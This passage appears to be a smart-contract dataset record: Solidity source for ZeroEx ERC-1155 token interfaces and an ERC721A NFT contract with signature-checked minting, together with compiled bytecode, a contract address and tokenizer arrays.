Token types requested function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) { // sanity check require( owners.length == ids.length, "OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH" ); // get balances balances_ = new uint256[](owners.length); for (uint256 i = 0; i < owners.length; ++i) { uint256 id = ids[i]; if (isNonFungibleItem(id)) { balances_[i] = nfOwners[id] == owners[i] ? 1 : 0; } else { balances_[i] = balances[id][owners[i]]; } } return balances_; } bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7; bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26; function supportsInterface(bytes4 _interfaceID) external view returns (bool) { if (_interfaceID == INTERFACE_SIGNATURE_ERC165 || _interfaceID == INTERFACE_SIGNATURE_ERC1155) { return true; } return false; } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.0; import "./IERC1155.sol"; /// @dev Mintable form of ERC1155 /// Shows how easy it is to mint new items interface IERC1155Mintable is IERC1155 { /// @dev creates a new token /// @param isNF is non-fungible token /// @return type_ of token (a unique identifier) function create( bool isNF ) external returns (uint256 type_); /// @dev mints fungible tokens /// @param id token type /// @param to beneficiaries of minted tokens /// @param quantities amounts of minted tokens function mintFungible( uint256 id, address[] calldata to, uint256[] calldata quantities ) external; /// @dev mints a non-fungible token /// @param type_ token type /// @param to beneficiaries of minted tokens function mintNonFungible( uint256 type_, address[] calldata to ) external; } pragma solidity ^0.7.0; import "./MixinOwnable.sol"; contract MixinContractURI is Ownable { string public contractURI; function setContractURI(string calldata newContractURI) external onlyOwner() { contractURI = newContractURI; } } pragma solidity ^0.7.0; import "./MixinOwnable.sol"; import "../library/LibString.sol"; contract MixinTokenURI is Ownable { using LibString for string; string public baseMetadataURI = ""; function setBaseMetadataURI(string memory newBaseMetadataURI) public onlyOwner() { baseMetadataURI = newBaseMetadataURI; } function uri(uint256 _id) public view returns (string memory) { return LibString.strConcat( baseMetadataURI, LibString.uint2hexstr(_id) ); } } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.0; /// @title ERC-1155 Multi Token Standard /// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md /// Note: The ERC-165 identifier for this interface is 0xd9b67a26. interface IERC1155 { /// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, /// including zero value transfers as well as minting or burning. /// Operator will always be msg.sender. /// Either event from address `0x0` signifies a minting operation. /// An event to address `0x0` signifies a burning or melting operation. /// The total value transferred from address 0x0 minus the total value transferred to 0x0 may /// be used by clients and exchanges to be added to the "circulating supply" for a given token ID. /// To define a token ID with no initial balance, the contract SHOULD emit the TransferSingle event /// from `0x0` to `0x0`, with the token creator as `_operator`. event TransferSingle( address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value ); /// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, /// including zero value transfers as well as minting or burning. ///Operator will always be msg.sender. /// Either event from address `0x0` signifies a minting operation. /// An event to address `0x0` signifies a burning or melting operation. /// The total value transferred from address 0x0 minus the total value transferred to 0x0 may /// be used by clients and exchanges to be added to the "circulating supply" for a given token ID. /// To define multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event /// from `0x0` to `0x0`, with the token creator as `_operator`. event TransferBatch( address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values ); /// @dev MUST emit when an approval is updated. event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /// @dev MUST emit when the URI is updated for a token ID. /// URIs are defined in RFC 3986. /// The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema". event URI( string _value, uint256 indexed _id ); /// @notice Transfers value amount of an _id from the _from address to the _to address specified. /// @dev MUST emit TransferSingle event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if balance of sender for token `_id` is lower than the `_value` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`. /// @param from Source address /// @param to Target address /// @param id ID of the token type /// @param value Transfer amount /// @param data Additional data with no specified format, sent in call to `_to` function safeTransferFrom( address from, address to, uint256 id, uint256 value, bytes calldata data ) external; /// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call). /// @dev MUST emit TransferBatch event on success. /// Caller must be approved to manage the _from account's tokens (see isApprovedForAll). /// MUST throw if `_to` is the zero address. /// MUST throw if length of `_ids` is not the same as length of `_values`. /// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent. /// MUST throw on any other error. /// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). /// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value /// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`. /// @param from Source addresses /// @param to Target addresses /// @param ids IDs of each token type /// @param values Transfer amounts per token type /// @param data Additional data with no specified format, sent in call to `_to` function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external; /// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. /// @dev MUST emit the ApprovalForAll event on success. /// @param operator Address to add to the set of authorized operators /// @param approved True if the operator is approved, false to revoke approval function setApprovalForAll(address operator, bool approved) external; /// @notice Queries the approval status of an operator for a given owner. /// @param owner The owner of the Tokens /// @param operator Address of authorized operator /// @return True if the operator is approved, false if not function isApprovedForAll(address owner, address operator) external view returns (bool); /// @notice Get the balance of an account's Tokens. /// @param owner The address of the token holder /// @param id ID of the Token /// @return The _owner's balance of the Token type requested function balanceOf(address owner, uint256 id) external view returns (uint256); /// @notice Get the balance of multiple account/token pairs /// @param owners The addresses of the token holders /// @param ids ID of the Tokens /// @return balances_ The _owner's balance of the Token types requested function balanceOfBatch( address[] calldata owners, uint256[] calldata ids ) external view returns (uint256[] memory balances_); } /* Copyright 2019 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.7.0; interface IERC1155Receiver { /// @notice Handle the receipt of a single ERC1155 token type /// @dev The smart contract calls this function on the recipient /// after a `safeTransferFrom`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the ///transaction being reverted /// Note: the contract address is always the message sender /// @param operator The address which called `safeTransferFrom` function /// @param from The address which previously owned the token /// @param id An array containing the ids of the token being transferred /// @param value An array containing the amount of tokens being transferred /// @param data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /// @notice Handle the receipt of multiple ERC1155 token types /// @dev The smart contract calls this function on the recipient /// after a `safeTransferFrom`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted /// Note: the contract address is always the message sender /// @param operator The address which called `safeTransferFrom` function /// @param from The address which previously owned the token /// @param ids An array containing ids of each token being transferred /// @param values An array containing amounts of each token being transferred /// @param data Additional data with no specified format /// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } pragma solidity ^0.7.0; contract MixinNonFungibleToken { uint256 constant internal TYPE_MASK = uint256(uint128(~0)) << 128; uint256 constant internal NF_INDEX_MASK = uint128(~0); uint256 constant internal TYPE_NF_BIT = 1 << 255; mapping (uint256 => address) internal nfOwners; /// @dev Returns true if token is non-fungible function isNonFungible(uint256 id) public pure returns(bool) { return id & TYPE_NF_BIT == TYPE_NF_BIT; } /// @dev Returns true if token is fungible function isFungible(uint256 id) public pure returns(bool) { return id & TYPE_NF_BIT == 0; } /// @dev Returns index of non-fungible token function getNonFungibleIndex(uint256 id) public pure returns(uint256) { return id & NF_INDEX_MASK; } /// @dev Returns base type of non-fungible token function getNonFungibleBaseType(uint256 id) public pure returns(uint256) { return id & TYPE_MASK; } /// @dev Returns true if input is base-type of a non-fungible token function isNonFungibleBaseType(uint256 id) public pure returns(bool) { // A base type has the NF bit but does not have an index. return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK == 0); } /// @dev Returns true if input is a non-fungible token function isNonFungibleItem(uint256 id) public pure returns(bool) { // A base type has the NF bit but does has an index. return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK != 0); } /// @dev returns owner of a non-fungible token function ownerOf(uint256 id) public view returns (address) { return nfOwners[id]; } } pragma solidity ^0.7.0; import "./mixin/MixinOwnable.sol"; contract WhitelistExchangesProxy is Ownable { mapping(address => bool) internal proxies; bool public paused = true; function setPaused(bool newPaused) external onlyOwner() { paused = newPaused; } function updateProxyAddress(address proxy, bool status) external onlyOwner() { proxies[proxy] = status; } function isAddressWhitelisted(address proxy) external view returns (bool) { if (paused) { return false; } else { return proxies[proxy]; } } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c8063715018a61461005c5780638da5cb5b14610066578063ae8c9d1314610084578063ec778abb146100a2578063f2fde38b146100d2575b600080fd5b6100646100ee565b005b61006e610241565b60405161007b919061092e565b60405180910390f35b61008c61026a565b6040516100999190610949565b60405180910390f35b6100bc60048036038101906100b79190610727565b61028e565b6040516100c991906109a4565b60405180910390f35b6100ec60048036038101906100e79190610697565b61039a565b005b6100f661055c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161017a90610984565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f000000000000000000000000468cd53a86a5f00261487888aa0c5d48f25901d081565b610296610564565b6000606060007f000000000000000000000000468cd53a86a5f00261487888aa0c5d48f25901d073ffffffffffffffffffffffffffffffffffffffff166373f85a5387876040518363ffffffff1660e01b81526004016102f79291906109c6565b60006040518083038186803b15801561030f57600080fd5b505afa158015610323573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061034c91906106c0565b92509250925061035a610564565b60405180606001604052808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381525090508094505050505092915050565b6103a261055c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461042f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042690610984565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561049f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049690610964565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160608152602001600081525090565b6000813590506105aa81610b39565b92915050565b6000815190506105bf81610b39565b92915050565b600082601f8301126105d657600080fd5b81356105e96105e482610a27565b6109f6565b9150808252602083016020830185838301111561060557600080fd5b610610838284610ae4565b50505092915050565b600082601f83011261062a57600080fd5b815161063d61063882610a27565b6109f6565b9150808252602083016020830185838301111561065957600080fd5b610664838284610af3565b50505092915050565b60008135905061067c81610b50565b92915050565b60008151905061069181610b50565b92915050565b6000602082840312156106a957600080fd5b60006106b78482850161059b565b91505092915050565b6000806000606084860312156106d557600080fd5b60006106e3868287016105b0565b935050602084015167ffffffffffffffff81111561070057600080fd5b61070c86828701610619565b925050604061071d86828701610682565b9150509250925092565b6000806040838503121561073a57600080fd5b60006107488582860161066d565b925050602083013567ffffffffffffffff81111561076557600080fd5b610771858286016105c5565b9150509250929050565b61078481610a84565b82525050565b61079381610a84565b82525050565b6107a281610ac0565b82525050565b60006107b382610a57565b6107bd8185610a62565b93506107cd818560208601610af3565b6107d681610b28565b840191505092915050565b60006107ec82610a57565b6107f68185610a73565b9350610806818560208601610af3565b61080f81610b28565b840191505092915050565b6000610827602683610a73565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061088d602083610a73565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006060830160008301516108d8600086018261077b565b50602083015184820360208601526108f082826107a8565b91505060408301516109056040860182610910565b508091505092915050565b61091981610ab6565b82525050565b61092881610ab6565b82525050565b6000602082019050610943600083018461078a565b92915050565b600060208201905061095e6000830184610799565b92915050565b6000602082019050818103600083015261097d8161081a565b9050919050565b6000602082019050818103600083015261099d81610880565b9050919050565b600060208201905081810360008301526109be81846108c0565b905092915050565b60006040820190506109db600083018561091f565b81810360208301526109ed81846107e1565b90509392505050565b6000604051905081810181811067ffffffffffffffff82111715610a1d57610a1c610b26565b5b8060405250919050565b600067ffffffffffffffff821115610a4257610a41610b26565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000610a8f82610a96565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610acb82610ad2565b9050919050565b6000610add82610a96565b9050919050565b82818337600083830152505050565b60005b83811015610b11578082015181840152602081019050610af6565b83811115610b20576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b610b4281610a84565b8114610b4d57600080fd5b50565b610b5981610ab6565b8114610b6457600080fd5b5056fea26469706673582212204aece99198e132c92e13f4b4fe6374fc512bd9296f8468f65a18e7241f70834064736f6c63430007030033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 29097, 2546, 2683, 22275, 2497, 2692, 2575, 2683, 2278, 2692, 2629, 6679, 11329, 27717, 26337, 2063, 2629, 2546, 11387, 7011, 2683, 3401, 2629, 11057, 2475, 7959, 2629, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1012, 1013, 4666, 2378, 1013, 4666, 5740, 7962, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3075, 1013, 5622, 5910, 18886, 3070, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 8278, 1013, 10047, 12928, 2850, 7559, 13910, 2923, 2854, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 27425, 2890, 24063, 2854, 1012, 14017, 1000, 1025, 3206, 8027, 21572, 18037, 11368, 8447, 7559, 13910, 2923, 2854, 2003, 2219, 3085, 1010, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,728
0x973e50f458212791C30AF63FDC31cA1f1A62a491
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "./ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol'; contract SeaStone is ERC721A, Ownable, PaymentSplitter, ReentrancyGuard { using ECDSA for bytes32; // public vars uint256 public maxSupply = 1000; string public baseURI; bool public mintingEnabled = true; mapping(address => uint) public claimedTokens; // private vars address private _signer; constructor( string memory _initBaseURI, address[] memory _sharesAddresses, uint[] memory _sharesEquity, address signer ) ERC721A("SeaStone", "STN") PaymentSplitter(_sharesAddresses, _sharesEquity){ setURI(_initBaseURI); _signer = signer; } // read metadata function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // set metadata function setURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } // using signer technique for managing approved minters function updateSigner(address signer) external onlyOwner { _signer = signer; } function _hash(address _address, uint amount, uint allowedAmount, uint cost) internal view returns (bytes32){ return keccak256(abi.encode(address(this), _address, amount, allowedAmount, cost)); } function _verify(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal view returns (bool){ return (ecrecover(hash, v, r, s) == _signer); } // enable / disable minting function setMintState(bool _mintingEnabled) public onlyOwner { mintingEnabled = _mintingEnabled; } // minting function function mint(uint8 v, bytes32 r, bytes32 s, uint256 amount, uint256 allowedAmount) public payable { require(mintingEnabled, "CONTRACT ERROR: minting has not been enabled"); require(claimedTokens[msg.sender] + amount <= allowedAmount, "CONTRACT ERROR: Address has already claimed max amount"); require(totalSupply() + amount <= maxSupply, "CONTRACT ERROR: not enough remaining in supply to support desired mint amount"); require(_verify(_hash(msg.sender, amount, allowedAmount, msg.value), v, r, s), 'CONTRACT ERROR: Invalid signature'); _safeMint(msg.sender, amount); claimedTokens[msg.sender] += amount; } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.0; import '@openzeppelin/contracts/token/ERC721/IERC721.sol'; import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol'; import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol'; import '@openzeppelin/contracts/utils/Address.sol'; import '@openzeppelin/contracts/utils/Context.sol'; import '@openzeppelin/contracts/utils/Strings.sol'; import '@openzeppelin/contracts/utils/introspection/ERC165.sol'; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex = 0; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), 'ERC721A: global index out of bounds'); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert('ERC721A: unable to get token of owner by index'); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); for (uint256 curr = tokenId; ; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert('ERC721A: unable to determine the owner of token'); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all' ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), 'ERC721A: token already minted'); require(quantity > 0, 'ERC721A: quantity must be greater than 0'); _beforeTokenTransfers(address(0), to, startTokenId, quantity); _addressData[to].balance += uint128(quantity); _addressData[to].numberMinted += uint128(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe) { require( _checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; } _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721A: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity 